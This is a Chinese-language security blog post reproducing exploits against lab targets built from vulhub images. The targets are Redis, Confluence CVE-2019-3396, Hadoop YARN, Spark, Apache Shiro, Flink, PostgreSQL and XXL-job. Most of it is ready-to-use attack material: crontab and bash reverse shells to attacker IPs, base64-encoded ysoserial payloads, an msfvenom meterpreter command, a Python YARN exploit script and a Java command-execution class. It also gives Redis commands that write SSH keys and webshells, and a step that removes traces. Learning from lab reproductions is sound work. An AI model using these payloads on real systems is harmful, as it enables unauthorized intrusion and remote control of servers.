0x00 概述
0x01 Redis
1.1 redis主从复制
1.2 写公钥登录ssh
踩坑
1.3 写corntab反弹shell
踩坑
1.4 找绝对路径写webshell
0x02 Confluence远程代码执行漏洞(CVE-2019-3396)
2.1 文件读取
2.2 模板注入RCE
踩坑
0x03 Hadoop Yarn未授权访问
0x04 Spark REST API未授权访问
4.1 利用 REST API提交应用
踩坑
0x05 Apache Shiro反序列化
5.1 反弹shell
5.2 写文件
5.3 回显
0x06 Apache flink后台未授权
0x07 PostgreSQL未授权
0x08 XXL-job executor未授权
8.1 未授权RCE
8.2 后台操作
踩坑
End!!!!
失踪人口回归,前段时间兄弟们hw的hw,比赛的比赛,换工作的换工作,所以任性断更了,后面会慢慢恢复更新的,话不多说,今天分享一下新入职的学习内容,漏洞案例复现,由于有一些环境以前比较少碰到,就写个文章分享记录一下。篇幅教长,建议根据目录查看自己感兴趣的即可。
当我们遇到Redis服务器时,常见的有以下几种获取权限方法:
原理参考连接:https://paper.seebug.org/975/
Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。Redis(<=5.0.5) RCE
靶场地址:https://github.com/vulhub/redis-rogue-getshell
利用步骤:
1.下载利用脚本:
wget https://github.com/n0b0dyCN/redis-rogue-server/archive/refs/heads/master.zip
unzip master.zip
2.编译利用脚本
cd /redis-rogue-getshell-master/RedisModulesSD
make
编译之后,会在/RedisModulesSD/目录下生成exp.so利用文件
3.返回上一层,执行命令
python3 redis-master.py -r 42.194.198.77 -p 6379 -L 47.100.90.179 -f RedisModulesSDK/exp.so -c "whoami"
执行命令:
当前redis服务为redis账户启动的:
条件:
1、Redis服务以root权限启动。
2、目标服务器开启ssh服务,并且需要允许使用密钥登录。
漏洞环境:
docker pull foxyuhub/redis:keygen
docker run -dit --name=redis -p 6379:6379 -p 66:22 foxyuhub/redis:keygen /bin/bash
漏洞复现:
1. 事先先准备好自己的公钥,写入一个本地文件key.txt
cd ~/.ssh
ssh-keygen #生成私钥和公钥
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
注意:如果是自己的VPS,建议把公钥里面最后的用户名和机器名删掉,前面的不能改动。
2. 通过redis将该文件写入内存
redis-cli -h 42.194.198.77 flushall
cat key.txt | redis-cli -h 42.194.198.77 -x set crackit
3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
redis-cli -h 42.194.198.77
42.194.198.77:6379> config set dir /root/.ssh/
OK
42.194.198.77:6379> config get dir
1) "dir"
2) "/root/.ssh"
42.194.198.77:6379> config set dbfilename "authorized_keys"
OK
42.194.198.77:6379> save
OK
查看目标机器,已经成功写入authorized_keys文件:
4.公钥登陆
ssh -p 66 root@42.194.198.77
成功登录到docker中。
直接从redis官网下载的镜像中,redis服务默认是以redis用户权限启动的,因此在写密钥的时候是无法写入的,会出现以下报错:
无法写入,查看docker中redis进程的权限:
redis权限,因此无法写入密钥文件。
条件:
Redis服务使用root账号启动。(使用普通账号需要知道该账户名,才可以写到该账户下的corntab)。
漏洞环境:
docker pull foxyuhub/redis:cron
docker run -dit --name=redis -p 6379:6379 foxyuhub/redis:cron /bin/bash
漏洞利用:
连接靶机Redis:redis-cli -h ip
redis-cli -h 42.194.198.77
>info #查看系统信息
执行以下命令:
set x "\n* * * * * bash -i >& /dev/tcp/47.100.90.179/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
然后退出,监听本地的9999端口:
成功拿到靶机的权限。
1. redis权限不够
2. 目标不是centos系列系统
注意,写计划任务的时候要确定目标主机是什么系统:
Redhat系,基于Redhat GNU/Linux:Redhat、Centos、Fedora
Debian系,基于Debian GNU/Linux:Debian、Ubuntu、Kali
像Centos的计划任务就是写到:/var/spool/cron/路径下的root文件,如上的代码。
想Ubuntu的计划任务就是写到:/var/spool/cron/crontabs/路径下的root文件。代码如下:
但是实验测试Ubuntu系统时无法成功,计划任务前面不能出现其他乱码,但通过redis写文件总是会有一些无用数据,因此写入之后无法正常执行定时任务。
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell,该方法还是利用redis的写文件功能,需要知道web目录。执行以下命令。
config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save
其中/var/www/html/为web目录,替换为实际的目录即可
漏洞详情:Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。
漏洞影响版本:6.14.2
漏洞靶机环境:https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
靶机IP:42.194.198.77
攻击IP:47.100.90.179
环境搭建:配置环境,在浏览器打开http://VPS:8090 进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server 的测试证书(不要选择Data Center和Addons),这里提供已经申请好的license key:
AAABQw0ODAoPeNp1kFFrwjAUhd/zKwJ72R4ibXVqhcI07aajtWLd2MNeYrntAm0qaSL675c2E7exQR6Sc8J3zz03j5LjZ11hb4wdd+aZ42Aa7rDnuD6ijVAsV2tWQ6CYKGstNX8oa8arQd7UKG9EMTAf+NH4UgPaaJl/sBZCpiDoEMSZEG+MYp6DaCE6Hbg8fzOnxLu/TIkSg/1zTAbyCHIVBovFZELodvlE0vloQ/zR29JmMEhGQSiQNkem920u+UHxRljFwI0tmMj/SdFz1rreg0yLlxZkGxDXqpliskMXrGrhsouJE6/CLFqT2B36U8cfjpF5BT+VVJZM8Jb1QU5aFCBKRCX0wu+W+mFf+N35AH3vNE2SaEtX8xhV1no12Tqch0K4bmlaLCoNZj9829WBbR937zMcHVml+4noerW1fAJcbqnMMCwCFE/fa4LjnfCqQ1Hy5OCWZ72GDUKkAhQKri7+MDexgSKxdR82iMniZTblfQ==X02g4
然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。如果提示填写cluster node,路径填写/home/confluence即可。
后续要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres:
漏洞影响版本:6.14.2
发送如下数据包,即可读取文件web.xml:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https加载远程文件
PS:漏洞分析文章:https://paper.seebug.org/884/
漏洞影响版本:6.9.0
通过模板注入(SSTI)来执行任意命令:
利用脚本地址为:https://raw.githubusercontent.com/Yt1g3r/CVE-2019-3396_EXP/master/cmd.vm
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($cOnstructor= $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\\\A"))
#if($scan.hasNext())
$scan.next()
#end
其他EXP:https://www.freebuf.com/column/200320.html
1.包含远程文件执行远程命令,获取java版本号:
2.执行命令:
1、远程模板注入执行命令可能只支持https协议,不支持http。
简介:Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出来的资源管理框架,负责资源管理和调度。)
漏洞成因:负责对资源进行统一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。
漏洞环境:https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn
漏洞利用脚本:
#!/usr/bin/env python
import requests
target = 'http://42.194.198.77:8088/'
lhost = '47.100.90.179' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
首先在攻击机器上监听9999端口:
执行完成,nc已经接收到shell:
简介:
Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点为实现访问控制,就可以在集群中执行任意代码
漏洞环境:
https://github.com/vulhub/vulhub/tree/master/spark/unacc
漏洞利用:
该漏洞的本质是未授权用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。应用可以是Java或Python,就是一个简单的类,如:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit
{
public static void main(String[] args) throws Exception
{
String[] cmds = args[0].split(",");
for(String cmd: cmds)
{
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
private static String executeCommand(String command)
{
StringBuilder output = new StringBuilder();
try
{
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = reader.readLine()) != null)
{
output.append(line).append("\n");
}
}
catch(Exception e)
{
e.printStackTrace();
}
return output.toString();
}
}
将上面的代码保存为Exploit.java,编译成spark.jar后放到VPS上,使用python开启一个web服务。
也可以用别人生成好的jar:
https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar
在standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API:
POST /v1/submissions/create HTTP/1.1
Host: 42.194.198.77:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 600
{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "http://47.100.90.179:8080/spark.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "http://47.100.90.179:8080/spark.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://42.194.198.77:6066"
}
}
参数:
clientSparkVersion 填spark版本号,直接访问目标网站即可得到
appResource 利用脚本Exploit.jar
spark.master 填目标ip,目标服务器的master服务
注意:必须添加Accept-Encoding: gzip, deflate这个header头
提交成功,返回一个submissionId,将submissionId替换到以下URL,然后访问URL:
http://42.194.198.77:8081/logPage/?driverId=driver-20210426082413-0000&logType=stdout
即可查看执行结果:
提交应用会在首页生成记录如下:
在生成jar包的时候,一开始是直接使用以下命令去生成的:
javac Exploit.java
jar cvf Exploit.jar Exploit.class
但是发现一直无法执行命令,对比下网上的jar,发现以下不同:
无法列出主类,因此一直无法利用成功,之后使用IDEA进行打包,即可利用成功。
原理:
Apache Shiro默认使用了COOKIERememberMeManager,其处理COOKIE的流程是:得到rememberMe的COOKIE值 => Base64解码 => AES解密 =>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
漏洞环境:
https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437
首先还是抓登录包,判断是否有 rememberMe=deleteMe;
第一步,先生成一个COOKIE:
python shiro2-remember-me.py 42.194.198.77:80
第二步,使用ysoserial-0.0.5-SNAPSHOT-all.jar监听
java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTIuMTgwLjE1Mi80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}'
java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80 CommonsCollections5 'whoami'
java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80 CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Mi4xOTQuMTk4Ljc3LzQ0MyAwPiYx}|{base64,-d}|{bash,-i}'
注意:
1、这里监听的端口要和第一步的为同一个端口(建议使用正常端口如:80、443、8080)
2、生成命令:
bash -i >& /dev/tcp/106.12.180.152/443 0>&1
第三步,再打开一个窗口,用nc监听反弹端口,也就是上面base64编码中的443端口
第四步,发送第一步生成的COOKIE
ysoserial-0.0.5-SNAPSHOT-all.jar成功获取到数据:
nc成功接收到shell:
自动查找目录写文件,搜索1.js所在文件夹路径,将id,pwd,hostname的结果写在js/test1.txt中:
find . -type f -name 1.js|while read f;do sh -c 'id;pwd;hostname;/sbin/ifconfig' >$(dirname $f)/test.txt;done
之后访问:url/js/test1.txt,即可得到网络路径,写入shell即可。
当然现在已经有直接利用的工具,但我了解到的利用思路大致就是以上这三种。遇到有waf的需要先判断是内容检测还是长度检测。
简介:
Apache Flink的任意Jar包上传导致远程代码执行(CVE-2020-17518)、文件读取(CVE-2020-17519)
漏洞环境:
https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
漏洞复现:
使用msf生成恶意jar包,上传:
msfvenom -p java/meterpreter/reverse_tcp LHOST=47.100.90.179 LPORT=4444 -f jar > testone.jar
设置监听:
成功监听之后,提交第一步上传的jar包:
成功反回flink服务器的shell。
简介:
从9.3 版本开始,PostgreSQL实现了“COPY TO/FROM PROGRAM”这个新的功能,它允许数据库的超级用户以及“pg_read_server_files”组用户执行任意的操作系统命令。这意味着在数据库超级用户角色与运行此数据库的操作系统用户角色之间没有进行适当的权限的分离。
漏洞环境:
https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193
环境启动后,将开启Postgres默认的5432端口
默认账号密码为postgres/postgres。
DROP TABLE IF EXISTS cmd_exec; #删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text); #创建你用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'id' #通过 “COPY FROM PROGRAM”执行系统命令
SELECT * FROM cmd_exec; #查看执行结果
DROP TABLE IF EXISTS cmd_exec; #清除痕迹
需要说明的是,命令中的任何单引号都必须通过双引号来转义它们。
你需要把上述命令用单引号包围并将命令中包含的单引号用双引号替换:
成功执行命令。
简介:
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。
漏洞环境:
https://github.com/vulhub/vulhub/tree/master/xxl-job/unacc
靶机地址:
42.194.198.77:8080(管理端),42.194.198.77:9999(客户端)
启动好后访问:vps:8080/xxl-job-admin/ (要带 /xxl-job-admin 路径)
默认账号密码 admin 123456
向客户端(executor)发送如下数据包,即可执行命令:
POST /run HTTP/1.1
Host: 42.194.198.77:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Content-Type: application/json
Content-Length: 368
Connection: close
Upgrade-Insecure-Requests: 1
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/success123",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
发送成功,查看容器里面命令是否执行成功:
成功执行命令,在/tmp目录下创建了success123文件。
登录后台,默认账号密码 admin 123456
注意运行模式需要为 GLUE(shell)
编写shell脚本:
这是脚本里面的默认密码,将其修改为反弹shell或任何我们想执行的命令:
反弹shell命令:
点击操作,执行一次,不需要输入其他,点击保存
成功获取shell
执行任务的时候,如果没有输入机器地址,默认是对所有机器,如果要指定客户端执行,可以输入客户端IP,需要加上http或者https,执行器默认端口为9999:
如果直接输入客户端IP,会调度失败,日志如下:
如文章有错误不对的地方,请在"公众号留言",欢迎各位师傅一起学习交流。祝各位师傅升职加薪、洞洞高危。